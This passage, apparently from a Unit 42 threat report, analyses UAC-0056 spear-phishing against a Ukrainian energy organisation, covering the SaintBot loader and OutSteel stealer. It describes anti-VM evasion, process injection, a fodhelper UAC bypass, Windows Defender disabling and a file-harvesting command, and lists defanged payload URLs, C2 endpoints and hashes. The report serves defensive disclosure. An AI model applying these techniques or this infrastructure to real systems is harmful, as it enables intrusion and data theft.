favors this social engineering theme in the absence of a trending topic or current event. The use of email as the attack vector remains the same in all attacks carried out by this threat group. While the spear phishing emails are a common component, each attack uses a slightly different infection chain to compromise the system. For instance, the actors have included links to Zip archives that contain malicious shortcuts (LNK) within the spear phishing emails, as well as attachments in the form of PDF documents, Word documents, JavaScript files and Control Panel File (CPL) executables. Even the Word documents attached to emails have used a variety of techniques, including malicious macros, embedded JavaScript and the exploitation of CVE-2017-11882 to install payloads onto the system. With the exception of the CPL executables, most of the delivery mechanisms rely on PowerShell scripts to download and execute code from remote servers. For more comprehensive information about the Russia-Ukraine crisis, including an overview of known attacks and recommendations for how to protect against possible threats, please see our post, Russia-Ukraine Crisis: How to Protect Against the Cyber Impact. Palo Alto Networks customers receive protections against the attacks described via products and services including Cortex XDR and the WildFire, Advanced URL Filtering and DNS Security security subscriptions for the Next-Generation Firewall. 1/30 Related Unit 42 Topics Russia-Ukraine Crisis Cyber Impact, Phishing Table of Contents Attack Overview Links to Prior Attacks Payload Analysis for Feb. 2 Attack Initial Loader Additional Files Associated With the Attack Conclusion Additional Resources Indicators of Compromise Appendix A: Prior Attacks Associated With UAC 0056 March 2021 Attacks April 2021 Attacks May 2021 Attacks June 2021 Attacks July 2021 Targeting Attack Overview On Feb. 1, 2022, Unit 42 observed threat actors sending a targeted email to an individual at an energy organization in Ukraine. The email had the following attributes: From: mariaparsons10811@gmail[.]com Subject: ( Attachment: ().docx The email subject and the filename of the attached document translate from Ukrainian to Report on the commission of a crime (). The email suggests that the individual was involved in criminal activity, which is likely part of the actor's social engineering efforts to convince the targeted individual to open the attachment. The malicious Word document displays the following contents: 2/30 Figure 1. A malicious Word document attached to a spear phishing email sent to a targeted individual at a Ukrainian organization. The apparent redactions were added by the threat actor as a lure to induce the target to click icons in the document. The content within the attached document also follows the theme in the delivery email, as it appears to be a redacted criminal investigation report from the National Police of Ukraine. The document instructs the user to click the icons with the exclamation point to display the redacted contents hidden by black bars over the text. Each of the supposedly redacted pieces of content has an icon that, when double-clicked, runs malicious JavaScript (SHA256: b258a747202b1ea80421f8c841c57438ffb0670299f067dfeb2c53ab50ff6ded) that is embedded within the document. When the user double-clicks the icon, Word effectively writes the following file to the system and runs it with Windows Script Host (wscript): C:\Users\ADMINI~1\AppData\Local\Temp\GSU207@POLICE.GOV.UA - (15).js The JavaScript file will run the following process that in turn runs a PowerShell script: 3/30 Figure 2. PowerShell one-liner. The PowerShell one-liner above will download an executable from the following URL, save it to %PUBLIC%\GoogleChromeUpdate.exe and execute it: hxxps://cdn.discordapp[.]com/attachments/932413459872747544/938291977735266344/putty.exe According to CERT-UA, this PowerShell one-liner also appears in another attack attributed to this group that occurred a few days earlier on Jan. 31. Based on our analysis of the payload that this attempted spear phishing attack leads to, which includes the SaintBot downloader and the OutSteel document stealer, we suspect that the threat group s goals for this attack involve exfiltrating data from the energy organization. Links to Prior Attacks CERT-UA mentioned that they track this activity using the moniker UAC-0056, while other organizations track this group with the names TA471, SaintBear and Lorec53. Our research shows that these attacks have various overlaps with previous attack campaigns focused on other organizations in Ukraine and Georgia, as well as other nations assets local to Ukraine. These overlaps involve the use of the SaintBot downloader, shared infrastructure and other common elements. Figure 3 shows a timeline of the known attacks related to this threat group, specifically, the day the spear phishing emails were sent and the subject line of each email. Figure 3. A timeline of known attacks related to UAC-0056, showing the date spear phishing emails were sent and their subject lines. The timeline shows several attacks between April and July 2021. There is then a gap of several months between the 2021 attacks and attacks that have been observed in 2022. This is more likely due to a lack of visibility rather than a pause in activity. We believe that the threat group did not pause their activity as we are aware of additional delivery documents and payloads that suggest additional attacks occurred during the apparently inactive periods on the timeline. Details of known prior attacks associated with UAC-0056 are available in Appendix A. Attacks described in the appendix include: March 2021: An attack campaign against targets in Georgia using Bitcoin and COVID themes. April 2021: Bitcoin-themed spear phishing emails targeting Ukrainian government organizations. May 2021: Law enforcement-themed attacks targeting Ukrainian government organizations. June 2021: Law-enforcement themed attack against a Ukrainian government organization July 2021: Spear phishing attempt on a Western government entity in Ukraine. Payload Analysis for Feb. 2 Attack 4/30 As seen above, the actors leverage Discord s content delivery network (CDN) to host their payload, which is a common technique that the threat group uses across many of their attacks. The use of Discord benefits threat actors since the popularity of Discord s servers for gaming, community groups and other legitimate usage causes many URL filtering systems to place a high degree of trust in its domain. Discord s terms of service do not allow malicious use of its CDN, and the company has been working to find and block abuses of its platform. In this attack, this URL was hosting a malicious executable (SHA256: f58c41d83c0f1c1e8c1c3bd99ab6deabb14a763b54a3c5f1e821210c0536c3ff) that is a loader. This acts as the first stage of several in the overall infection chain, each of which have varying levels of complexity. Ultimately, this infection chain results in the installation and execution of a document stealer called OutSteel, a loader Trojan called SaintBot, a batch script turned into an executable that disables Windows Defender and a legitimate Google Chrome installation executable. Initial Loader The executable initially downloaded by the JavaScript in the delivery document is an initial loader Trojan, whose developers signed using a certificate (SHA1: 60aac9d079a28bd9ee0372e39f23a6a92e9236bd) that has "Electrum Technologies GmbH" within the organization field. This is related to the Electrum Bitcoin wallet, as seen in the following: Certificate: Data: Version: 3 (0x2) Serial Number: 3b:11:e7:6e:da:51:82:ce:c2:d4:e7:2d:8c:05:f6:9a Signature Algorithm: sha256WithRSAEncryption Issuer: C=US, O=thawte, Inc., CN=thawte SHA256 Code Signing CA - G2 Validity Not Before: May 8 00:00:00 2020 GMT Not After : May 8 23:59:59 2022 GMT Subject: C=DE, ST=Berlin, L=Berlin, O=Electrum Technologies GmbH, CN=Electrum Technologies GmbH This first-stage loader is a simple wrapper for the next few stages these later stages will simply decrypt a DLL from its resources, before loading it into memory and invoking its entry point. Figure 4. Loading decrypted SHCore2.dll and invoking entry point. 5/30 The packer used to pack and obfuscate this initial loader allows a user to clone .NET assemblies from other .NET binaries, as well as from cloning certificates. This explains how a large portion of the payload is taken from a legitimate library, as well as the attached Electrum certificate. The decrypted DLL, named SHCore2.dll, is also obfuscated, though interestingly, the obfuscator did not completely strip the class names, as can be seen in Figure 5 below. This allows us to quickly gather some information on the functionality of the sample. While it may seem like the DLL is the final payload, it is merely another stager, which will decrypt and execute a total of four embedded binaries. Figure 5. SHCore2.dll classes. The stager contains some interesting anti-analysis functionality, refusing to execute inside a virtual machine, and in some cases, on bare metal systems. While that makes it difficult to perform dynamic analysis, before performing any virtual machine checks, the sample does call functions within the Class5_Decrypter class, which is responsible for decrypting the embedded payloads. This allows us to debug the sample and extract those payloads once decrypted. 6/30 Figure 6. Decrypted config file in SHCore2.dll memory. The four embedded binaries decrypted and executed by the stager include OutSteel, SaintBot, an executable that runs a batch script to disable Windows Defender and the Google Chrome installer, as seen in Table 1. SHA256 Description 7e3c54abfbb2abf2025ccf05674dd10240678e5ada465bb0c04a9109fe46e7ec OutSteel AutoIT file uploader 0da1f48eaa7956dda58fa10af106af440adb9e684228715d313bb0d66d7cc21d PureBasic executable, used to drop a Disable Windows Defender batch file 0f9f31bbc69c8174b492cf177c2fbaf627fcdb5ac4473ca5589aa2be75cee735 Legitimate Google Chrome installer 82d2779e90cbc9078aa70d7dc6957ff0d6d06c127701c820971c9c572ba3058e SaintBot .NET Loader Table 1. Embedded binaries within the loader. Additional Files Associated With the Attack Below is a more detailed analysis of four additional files that come into play after the initial loader executes. OutSteel OutSteel is a file uploader and document stealer developed with the scripting language AutoIT. It is executed along with the other binaries listed in Table 1. It begins by scanning through the local disk in search of files containing specific extensions, before uploading those files to a hardcoded command and control (C2) server. In this sample, the C2 server it reaches out to is 185[.]244[.]41[.]109:8080, with the endpoint /upld/. 7/30 Figure 7. OutSteel main file search loop. Scanning is performed through the use of CMD commands, as seen below: cmd.exe /U /C DIR \Users\Admin\*.docx /S /B/ A The list of file extensions that OutSteel gathers using the commands above is shown in Table 2, and the choice of these extensions is likely an attempt to gather potentially sensitive files. These file types include documents for Microsoft Office suite applications, Microsoft Access database files, Microsoft Outlook data files and various archive file types. *.doc *.ppt *.xls *.rtf *.accdb *.pst *.zip *.docx .pptx *.xlsx *.dot *.pot *.ppa *.tar *.pdf *.dot *.csv *.mdb *.pps *.rar *.7z *.txt Table 2. File extensions gathered by OutSteel. The command output will be read by the AutoIT payload, and each file will be uploaded to the C2, using the HTTP.au3 library. Once the script has finished uploading all relevant files to the C2, it will then attempt to download a file to %TEMP%\svjhost.exe from the secondary hardcoded C2 eumr[.]site. The downloaded payload is a sample of the SaintBot .NET loader, also extracted from the SHCore2 DLL, and if downloaded successfully, will be executed via the command line. Figure 8. OutSteel downloads SaintBot and executes rmm.bat The script comes to a close after creating a .bat file named rmm.bat in the current directory, which will delete itself and the original payload, prior to terminating any running cmd.exe processes. Figure 9. rmm.bat file contents. At this point, the AutoIT script exits, leaving SaintBot residing in memory. windows_defender_disable.bat 8/30 This batch file is used to disable Windows Defender functionality. It accomplishes this by executing multiple commands via CMD that modify registry keys and disabling Windows Defender scheduled tasks. This script is open source and available on GitHub, so there is no custom element to this specific sample. This is done to reduce the risk of the dropped payloads being detected by Windows Defender. Figure 10. windows_defender_disable.bat script. SaintBot .NET Loader The SaintBot .NET loader is also composed of several stages, with varying levels of obfuscation. It begins by executing a single PowerShell one-liner, which results in the execution of cmd.exe, passing the command timeout 20. Once the timeout completes, the loader will resume. Figure 11. Execution of PowerShell one-liner. The first layer of the loader will extract a reversed .NET binary from its resources, before flipping, loading into memory and executing it. 9/30 Figure 12. Reversed binary within resources. This secondary layer contains far more obfuscation than the first, also implementing obfuscation through obscurity with around 140 different classes. Also stored within these classes are several virtual machine and sandbox checks, such as checking if Sbiedll.dll is present in the list of loaded modules, comparing the machine name to HAL9TH and the user name to JohnDoe, and checking the BIOS version for known virtual machine identifiers. Figure 13. Anti-VM check. The quickest way to bypass these checks is to simply set a breakpoint on the Invoke() function and modify any values within memory to make sure no matches are discovered by the sample. Once all checks have been passed, the second stage of the loader will extract the SaintBot binary from its resources and decrypt it. From there, it begins loading in different API calls, including VirtualAllocEx, WriteProcessMemory, CreateProcessA and SetThreadContext. These calls are used to spawn MSBuild.exe in a suspended state before injecting the decrypted SaintBot binary into it, modifying the thread context to point to the malicious entry point and resuming the process. 10/30 Figure 14. Loading process injection API. SaintBot Payload SaintBot is a recently discovered malware loader, documented in April 2021 by MalwareBytes. It contains capabilities to download further payloads as requested by threat actors, executing the payloads through several different means, such as injecting into a spawned process or loading into local memory. It can also update itself on disk and remove any traces of its existence as and when needed. SHA-256: e8207e8c31a8613112223d126d4f12e7a5f8caf4acaaf40834302ce49f37cc9c Upon execution within the MSBuild process, SaintBot will perform several anti-analysis checks, as well as a locale check. If any of these checks fail, a batch script named del.bat is dropped to the %APPDATA% folder and executed, removing any SaintBot payload-linked files from the system. Figure 15. System locale checks. If the checks are passed, the payload attempts to locate slideshow.mp4 from the %LOCALAPPDATA%\zz%USERNAME% path, where slideshow.mp4 is actually a copy of ntdll.dll. If the file is not found, SaintBot assumes it has not yet been installed on the system and therefore jumps to the installation procedure. This involves creating a directory in the %LOCALAPPDATA% folder, with the name set to zz%USERNAME%. Then, the local ntdll.dll binary is copied over to the newly created folder and renamed to slideshow.mp4. Along with that, a .vbs and .bat script are dropped, named %USERNAME%.vbs and %USERNAME%.bat. Once the installation routine is complete, the payload executes itself once again and exits. 11/30 Figure 16. Setting up core SaintBot folders. If slideshow.mp4 is discovered on the initial check, it is used to load in the core API provided by ntdll.dll. This is done to avoid any hooks placed on API calls within the original ntdll.dll by EDR/AV software. Figure 17. Resolving API through slideshow.mp4. At this point, the payload then checks to see if it is running under the process name dfrgui.exe, and if not, it will spawn dfrgui.exe from the %SYSTEM% directory. This spawned process is then injected into dfrgui.exe using NtQueueApcThread to resume the process, and the original MSBuild process terminates. 12/30 Figure 18. Injection into dfrgui.exe If SaintBot is running inside dfrgui.exe, it will confirm whether or not it is running with administrator privileges. If not, it will attempt to bypass UAC using fodhelper.exe. Figure 19. Privilege escalation via fodhelper.exe Persistence is then set up through the CurrentVersion\Run registry key, and communication finally begins with the C2 server. This sample has a total of three C2 servers embedded within it, all reaching out to the same /wp-adm/gate.php endpoint. 13/30 Figure 20. Hardcoded C2s. This particular sample accepts six total commands from the C2 server: Command Purpose de:regsvr32 Execute an EXE or DLL (using regsvr32) via cmd.exe de:LoadMemory Spawn copy of dfrgui.exe and inject downloaded executable into process de:LL Download DLL and load into memory with LdrLoadDll() update Update SaintBot binary uninstall Uninstall SaintBot from machine Table 3. SaintBot commands. Conclusion Unit 42 research discovered a threat group targeting an energy organization that is part of Ukraine s critical infrastructure. This attack is part of a year-long campaign of attacks that not only targeted Ukrainian government organizations, but also foreign nations embassies in Ukraine. The threat group delivered a malicious payload called OutSteel that is capable of automatically exfiltrating various types of files, including documents, archives, database files and files containing emailrelated data. Based on the list of targeted organizations and the use of a file exfiltration tool, we believe this threat group primary goal is to steal sensitive information for the purpose of situational awareness and leverage in dealing with Ukraine. For Palo Alto Networks customers, our products and services provide the following coverage associated with this campaign: Cortex XDR protects endpoints from the SaintBot malware described in this blog. WildFire cloud-based threat analysis service accurately identifies the malware described in this blog as malicious. Advanced URL Filtering and DNS Security identify domains associated with this attack campaign as malicious. Users of the AutoFocus contextual threat intelligence service can view malware associated with these attacks using the SaintBot, SaintBot_Loader and OutSteel tags. 14/30 Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Additional Resources A deep dive into SaintBot, a new downloader Targeted Phishing Attack Against Ukrainian Government Expands to Georgia Spearphising Attack Uses COVID 21 Lure to Target Ukrainian Government CERT-UA Post from July 13, 2021 CERT-UA Post from Feb. 2, 2022 Russia-Ukraine Crisis: How to Protect Against the Cyber Impact Russia-Ukraine Crisis Briefings: How to Protect Against the Cyber Impact Palo Alto Networks Resource Page: Protect Against the Cyber Impact of the Russia-Ukraine Crisis Indicators of Compromise Delivery Hashes 07ed980373c344fd37d7bdf294636dff796523721c883d48bb518b2e98774f2c 0be1801a6c5ca473e2563b6b77e76167d88828e1347db4215b7a83e161dae67f 0db336cab2ca69d630d6b7676e5eab86252673b1197b34cf4e3351807229f12a 0f13f5f9a53a78fc4f528e352cd94929ae802873374ffb9ac6a16652bd9ea4c5 101d9f3a9e4a8d0c8d80bcd40082e10ab71a7d45a04ab443ef8761dfad246ca5 1092d367692045995fab78ba1b9b236d5b99d817dd09cba69fd3834e45bd3ddf 10d21d4bf93e78a059a32b0210bd7891e349aabe88d0184d162c104b1e8bee2e 14bde11c50a2df2401831fea50760dd6cf9a492a3a98753ab3b1c6ce4d079196 157b05db61aaf171823c7897a2f931d96a62083a3ad6014cb41c6b42694a0c2f 172f12c692611e928e4ea42b883b90147888b54a8fb858fc97140b82eef409f3 275388ffad3a1046087068a296a6060ed372d5d4ef6cf174f55c3b4ec7e8a0e8 276ac9b9fe682d76382ec6e5bc3d1d045ce937438f92949c23453468eb62a143 2b15ade9de6fb993149f27c802bb5bc95ad3fc1ca5f2e86622a044cf3541a70d 2c879f5d97f126820f1fbf575df7e681c90f027062b6bcb3451bb09607c922da 2ec710d38a0919f9f472b220cfe8d554a30d24bfa4bdd90b96105cee842cf40d 33a4655fd61e471d8956bc7681ee56a9926da91df3583b79e80cb26a14e45548 35180c81ebcefbc32c2442c683cab6fd299af797a0493d38589d5c5d1d6b5313 354868cd615a0377e0028bcaee422c29f6b6088b83a0b37a32e00cce5dba43f9 434d39bfbcee378ed62a02aa40acc6507aa00b2a3cb0bf356c0b23cc9eebcd77 461eeadbe118b5ad64a62f2991a8bd66bdcd3dd1808cd7070871e7cc02effad7 4fcfe7718ea860ab5c6d19b27811f81683576e7bb60da3db85b4658230414b70 52173598ca2f4a023ec193261b0f65f57d9be3cb448cd6e2fcc0c8f3f15eaaf7 5227adda2d80fb9b66110eeb26d57e69bbbb7bd681aecc3b1e882dc15e06be17 5cda471f91413a31d3bc0e05176c4eb9180dfcac3695b83edd6a5d4b544fe3f1 5d8c5bb9858fb51271d344eac586cff3f440c074254f165c23dd87b985b2110b 5d9c7192cae28f4b6cc0463efe8f4361e449f87c2ad5e74a6192a0ad96525417 5dabf2e0fcc2366d512eda2a37d73f4d6c381aa5cb8e35e9ce7f53dae1065e4a 63d7b35ca907673634ea66e73d6a38486b0b043f3d511ec2d2209597c7898ae8 64057982a5874a9ccdb1b53fc15dd40f298eda2eb38324ac676329f5c81b64e0 677500881c64f4789025f46f3d0e853c00f2f41216eb2f2aaa1a6c59884b04cc 68313c90ca8eb0d5fc5e63e2b0f7a5f4d1fe15f825fe8ca0b4b3e922a253caa7 84e651b2d55a75ec59b861b11a8f8f7cb155ed81604081c95dd11b8aec5b31b1 882597c251905f9be31352ba034835764124c9a9e25ef1ba0150e5998c621f07 891f526fea4d9490a8899ce895ce86af102a09a50b40507645fee0cf2ab5bef5 8bb427b4f80fe1ede3e3ed452d9f0a4ce202b77cda4ad2d54968ab43578e9fa9 8c8ef518239308216d06b4bf9b2771dbb70759cb1c9e6327a1cd045444f2b69a 90ce65b0b91df898de16aa652d7603566748ac32857972f7d568925821764e17 15/30 92af444e0e9e4e49deda3b7e5724aaecbb7baf888b6399ec15032df31978f4cf 96f815abb422bb75117e867384306a3f1b3625e48b81c44ebf032953deb2b3ff 9803e65afa5b8eef0b6f7ced42ebd15f979889b791b8eadfc98e7f102853451a a16e466bed46fcf9c0a771ca0e41bc42a1ac13e66717354e4824f61d1695dbb1 a356be890d2f48789b46cd1d393a838be10bdea79f12a10b1adf1d78178343c5 a60f4a353ea89adc8def453c8a1e65ea2ecc46c64d0d9ea375ca4e85e1c428fd b7c6b82a8074737fb35adccddf63abeca71573fe759bd6937cd36af5658af864 b89a71c9dbc9492ecb9debb38987ab25a9f1d9c41c6fbc33e67cac055c2664bc c9761f30956f5ba1ac9abc8b000eae8686158d05238d9e156f42dd5c17520296 d99f998207c38fe3ab98b0840707227af4d96c1980a5c2f8f9ac7062fab0596d dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f e39a12f34bb8a7a5a03fd23f351846088692e1248a3952e488102d3aea577644 f0d99b7056dac946af19b50e27855b89f00550d3d8dc420a28731814a039d052 f69125eafdd54e1aae10707e0d95b0526e80b3b224f2b64f5f6d65485ca9e886 f6ae1d54de68b48ba8bd5262233edaec6669c18f05f986764cf9873ce3247166 fbe13003a4e39a5dea3648ee906ea7b86ed121fd3136f15678cf1597d216c58a Payload Hashes 005d2d373e7ba5ee42010870b9f9bf829213a42b2dd3c4f3f4405c8b904641f2 0222f6bdfd21c41650bcb056f618ee9e4724e722b3abcd8731b92a99167c6f8d 0c644fedcb4298b705d24f2dee45dda0ae5dd6322d1607e342bcf1d42b59436c 0e1e2f87699a24d1d7b0d984c3622971028a0cafaf665c791c70215f76c7c8fe 0f7a8611deea696b2b36e44ea652c8979e296b623e841796a4ea4b6916b39e7c 0fc7154ebd80ea5d81d82e3a4920cb2699a8dd7c31100ca8ec0693a7bd4af8b7 137fc4df5f5cad2c88460314e13878264cc90d25f26b105bb057f6bfdca4cbf2 17c3cf5742d2a0995afb4dd2a2d711abe5de346abde49cf4cf5b82c14e0a155f 187e0a02620b7775c2a8f88d5b27e80b5d419ad156afc50ef217a95547d0feaa 18f24841651461bd84a5eac08be9bce9eab54b133b0e837d5298dac44e199d5f 1a1fe7b6455153152037668d47c7c42a068b334b91949739ed93256d5e3fbd89 1e6596320a3fa48d8c13609a66e639b35fb1e9caae378552956aa9659809162b 2762cbc81056348f2816de01e93d43398ba65354252c97928a56031e32ec776f 27868ae50b849506121c36b00d92afe3115ce2f041cc28476db8dfc0cc1d6908 2bef4a398a88749828afac59b773ae8b31c8e4e5b499aad516dd39ada1a11eca 2d9d61ce6c01329808db1ca466c1c5fbf405e4e869ed04c59f0e45d7ad12f25b 3075a467e89643d1f37e9413a2b38328fbec4dd1717ae57128fdf1da2fe39819 320d091b3f8de8688ce3b45cdda64a451ea6c22da1fcea60fe31101eb6f0f6c2 37be3d8810959e63d5b6535164e51f16ccea9ca11d7dab7c1dfaa335affe6e3d 39e8455d21447e32141dc064eb7504c6925f823bf6d9c8ce004d44cb8facc80b 3d7a05e7ba9b3dd84017acab9aab59b459db6c50e9224ec1827cbf0a2aee47db 3f7b0d15f4cbe63e57fb06b57575bf6dd9eb777c737b0886250166768169fc6c 4715a5009de403edd2dd480cf5c78531ee937381f2e69e0fb265b2e9f81f15c4 494122ff204f3dedaa8f0027f9f98971b32c50acbcce4efa8de0498efa148365 4c8a433ed99cc4b6994b2e1df59eb171f326373ba100a3653eb37e8a8ee2e6f2 4d59a7739f15c17f144587762447d5abb81c01f16224a3f7ce5897d1b6f7ee77 4ee84419fb9267081480954f1be176095a45fe299078dfa95f980e513b46a020 4fdc37f59801976606849882095992efecee0931ece77d74015113123643796e 506c90747976c4cc3296a4a8b85f388ab97b6c1cfae11096f95977641b8f8b6f 56731c777896837782beff4432330486a941e4f3af44b4d24be7c62c16e96256 5fc108db5114be4174cb9365f86a17e25164a05cc1e90ef9ee29ab30abed3a13 619393d5caf08cf12e3e447e71b139a064978216122e40f769ac8838a7edfca4 61f5e96ec124fef0c11d8152ee7c6441da0ea954534ace3f5f5ec631dd4f1196 6a698edb366f25f156e4b481639903d816c5f5525668f65e2c097ef682afc269 6ee2fd3994acdbb9a1b1680ccd3ac4b7dcb077b30b44c8677252202a03dccf79 700b05fede8afe3573b6fec81452d4b09c29adb003cdacb762c8b53d84709901 707971879e65cbd70fd371ae76767d3a7bff028b56204ca64f27e93609c8c473 16/30 71e9cc55f159f2cec96de4f15b3c94c2b076f97d5d8cecb60b8857e7a8113a35 7419f0798c70888e7197f69ed1091620b2c6fbefead086b5faf23badf0474044 750c447d6e3c7d74ccab736a0082ef437b1cd2000d761d3aff2b73227457b29c 75f728fa692347e096386acd19a5da9b02dca372b66918be7171c522d9c6b42d 7963f8606e4c0e7502a813969a04e1266e7cd20708bef19c338e8933c1b85eda 7b3d377ca2f6f9ea48265a80355fe6dc622a9b4b43855a9ddec7eb5e4666a1d4 7d7d9a9df8b8ffd0a0c652a3d41b9a5352efb19424e42942aaf26196c9698019 7e1355e51eb9c38e006368de1ae80b268ffab6918237696474f50802e3d8a9c8 7eb1dc1719f0918828cc8349ee56ca5e6bbde7cada3bc67a11d7ff7f420c7871 7ee8cfde9e4c718af6783ddd8341d63c4919851ba6418b599b2f3c2ac8d70a32 82d2779e90cbc9078aa70d7dc6957ff0d6d06c127701c820971c9c572ba3058e 89da9a4a5c26b7818e5660b33941b45c8838fa7cfa15685adfe83ff84463799a 8ab3879ed4b1601feb0de11637c9c4d1baeb5266f399d822f565299e5c1cd0c4 9528a97d8d73b0dbed2ac496991f0a2eecc5a857d22e994d227ae7c3bef7296f 975f9ce0769a079e99f06870122e9c4d394dfd51a6020818feeef9ccdb8b0614 9917c962b7e0a36592c4740d193adbd31bc1eae748d2b441e77817d648487cff 9a72e56ac0f1badd3ca761b53e9998a7e0525f2055dbec01d867f62bdb30418e 9cf4b83688dd5035623182d6a895c61e1e71ea02dc3e474111810f6641df1d69 9d7c3463d4a4f4390313c214c7a79042b4525ae639e151b5ec8a560b0dd5bd0a 9ec80626504ca869f5e731aef720e446936333aaf6ab32bae03c0de3c2299f34 9ee1a587acaddb45481aebd5778a6c293fe94f70fe89b4961098eb7ba32624a8 9ef2d114c329c169e7b62f89a02d3f7395cb487fcd6cff4e7cac1eb198407ba6 9fbeb629ea0dc72ac8db680855984d51b28c1195e48abff2e68b0228f49d5b0f a61725f3b57fd45487688ad06f152d0db139a6cb29f3515ea90ffe15cb7e9a7a a9a89bb76c6f06277b729bc2de5e1aaef05fc0d9675edbc0895c7591c35f17eb afdc010fc134b0b4a8b8788d084c6b0cff9ea255d84032571e038f1a29b56d0a b02c420e6f8a977cd254cd69281a7e8ce8026bda3fc594e1fc550c3b5e41565d b0b0cb50456a989114468733428ca9ef8096b18bce256634811ddf81f2119274 b0b4550ba09080e02c8a15cec8b5aeaa9fbb193cec1d92c793bdede78a70cec6 b1af67bcfaa99c369960580f86e7c1a42fc473dd85a0a4d3b1c989a6bc138a42 b2f5edef0e599005e205443b20f6ffd9804681b260eec52fa2f7533622f46a6c b6e34665dd0d045c2c79bf3148f34da0b877514a6b083b7c8c7e2577362463b3 b72188ba545ad865eb34954afbbdf2c9e8ebc465a87c5122cebb711f41005939 b83c41763b5e861e15614d3d6ab8573c7948bf176143ee4142516e9b8bcb4423 b8ce958f56087c6cd55fa2131a1cd3256063e7c73adf36af313054b0f17b7b43 bd83e801b836906bab4854351b4d6000e0a435736524a504b9839b5f7bdf97cc c222122fe3e1206ba2363c17fb37ae2f8e271840e17b3bb9ba5359f2793f9574 c33a905e513005cee9071ed10933b8e6a11be2335755660e3f7b2adf554f704a c532d19652ea6d4e0ebb509766de1ec594dd80152f92f7ef6b80ad29d2aa8cf4 c6c47d3d7e56213f0d0ced379c64e166ed5a86308ea96856163a4e0155b1fc6e cb4a93864a19fc14c1e5221912f8e7f409b5b8d835f1b3acc3712b80e4a909f1 cb6c05b2e9d8e3c384b7eabacde32fc3ac2f9663c63b9908e876712582bf2293 cce564eb25a80549d746c180832d0b3d45dcd4419d9454470bfd7517868d0e10 cd93f6df63187e3ac31ea56339f9b859b0f4fbe3e73e1c07192cef4c9a6f8b08 d4d4aa7d621379645d28f3a16b3ba41b971216869f5448ea5c1fc2e78cfecb26 d6e2a79bc87d48819fabe332dd3539f572605bb6091d34ae7d25ae0934b606b5 db8975fd6c04a7d3790eb73ab8e95b6dbf6c9d65ad5c6a6d3c862d0284f87c34 df3b1ad5445d628c24c1308aa6cb476bd9a06f0095a2b285927964339866b2c3 dfc24fa837b6cd3210e7ea0802db3dcf7bb1f85bff2c1b4bda4c3c599821bf8c e0c46e23bd1b5b96123e0c64914484bbfae7a7ad13cbd45184035d4c0f8a10a2 e8207e8c31a8613112223d126d4f12e7a5f8caf4acaaf40834302ce49f37cc9c e9a858127f5f6e5e0e94ed655a2bf9ed228f87bc99d9b12113e27dcc84be3909 ebbf30e06de3a25f76cf43c72c521d14a27053e4d9be566b41f50c41bea3a7a9 ec3c0afccfef11f753a408c859d98bbba4841e87f7f1a48573270c0d82252b03 ec62c984941954f0eb4f3e8baee455410a9dc0deb222360d376e28981c53b1a0 ec8868287e3f0f851ff7a2b0e7352055b591a2b2cb1c2a76c53885dee66562dc 17/30 f24ee966ef2dd31204b900b5c7eb7e367bc18ff92a13422d800c25dbb1de1e99 f2bdde99f9f6db249f4f0cb1fb8208198ac5bf55976a94f6a1cebfb0d6c30551 f4a56c86e2903d509ede20609182fbe001b3a3ca05f8c23c597189935d4f71b8 f58c41d83c0f1c1e8c1c3bd99ab6deabb14a763b54a3c5f1e821210c0536c3ff fa1bc7d6f03a49af50f7153814a078a32f24f353c9cb2b8e3f329888f2b37a6e fad2e8293cf38eec695b1b5c012e187999bd94fbcad91d8f110605a9709c31b3 ff07325f5454c46e883fefc7106829f75c27e3aaf312eb3ab50525faba51c23c ffad5217eb782aced4ab2c746b49891b496e1b90331ca24186f8349a5fa71a28 Related URLs 1000018[.]xyz/soft-2/280421-z1z.exe 1000018[.]xyz/soft/220421.exe 1000020[.]xyz/soft/230421.exe 1221[.]site/15858415841/0407.exe 1221[.]site/1806.exe 15052021[.]space/2405.exe 150520212[.]space/0404.exe 185.244.41[.]109:8080/upld/ 1924[.]site/soft/09042021.exe 194.147.142[.]232:8080/upld/ 194.147.142[.]232:8080/upld/ 2215[.]site/240721-1.msi 31.42.185[.]63:8080/upld/ 32689657[.]xyz/putty5482.exe 32689658[.]xyz/putty5410.exe 45.146.164[.]37:8080/upld/ 45.146.165[.]91:8080/upld/ 68468438438[.]xyz/soft/win230321.exe 8003659902[.]space/wp-adm/gate.php baiden00[.]ru/def.bat baiden00[.]ru/win21st.txt baiden00[.]ru/wininst.exe bit[.]ly/36fee98 bit[.]ly/3qpy7Co cdn.discordapp[.]com/attachments/853604584806285335/854020189522755604/1406.exe cdn.discordapp[.]com/attachments/908281957039869965/908282786216017990/AdobeAcrobatUpdate.msi cdn.discordapp[.]com/attachments/908281957039869965/908310733488525382/AdobeAcrobatUpdate.exe cdn.discordapp[.]com/attachments/908281957039869965/911202801416282172/AdobeAcrobatReaderUpdate.exe cdn.discordapp[.]com/attachments/908281957039869965/911383724971683862/21279102.exe cdn.discordapp[.]com/attachments/932413459872747544/932976938195238952/loader.exe cdn.discordapp[.]com/attachments/932413459872747544/938291977735266344/putty.exe eumr[.]site/load4849kd30.exe eumr[.]site/load74h74830.exe eumr[.]site/up74987340.exe main21[.]xyz/adm2021/gate.php mohge[.]xyz/install.exe name1d[.]site/123/index.exe name1d[.]site/def02.bat name4050[.]com:8080/upld/9C9C2F98 orpod[.]ru/def.exe orpod[.]ru/putty.exe smm2021[.]net/load2022.exe smm2021[.]net/upload/antidef.bat smm2021[.]net/upload/Nvlaq.jpeg smm2021[.]net/wp-adm/gate.php 18/30 stun[.]site/42348728347829.exe update-0019992[.]ru/testcp1/gate.php update0019992[.]ru/exe/update-22.exe update0019992[.]ru/gate.php update3d[.]xyz/ webleads[.]pro/public/readerdc_ua_install.exe www.baiden00[.]ru/win21st.txt www.update0019992[.]ru/exe/update-22.exe cdn.discordapp[.]com/attachments/908281957039869965/908310733488525382/AdobeAcrobatUpdate.exe cutt[.]ly/1bR6rsQ mohge[.]xyz/install.exe mohge[.]xyz/install.txt stun[.]site/zepok101.exe superiortermpapers[.]org/public/WindowsDefender-UA.exe Domains 000000027[.]xyz 001000100[.]xyz= 1000018[.]xyz 1000020[.]xyz 1020[.]site 1221[.]site 15052021[.]space 150520212[.]space 1833[.]site 1924[.]site 2055[.]site 2215[.]site 2330[.]site 3237[.]site 32689657[.]xyz 32689658[.]xyz 68468438438[.]xyz 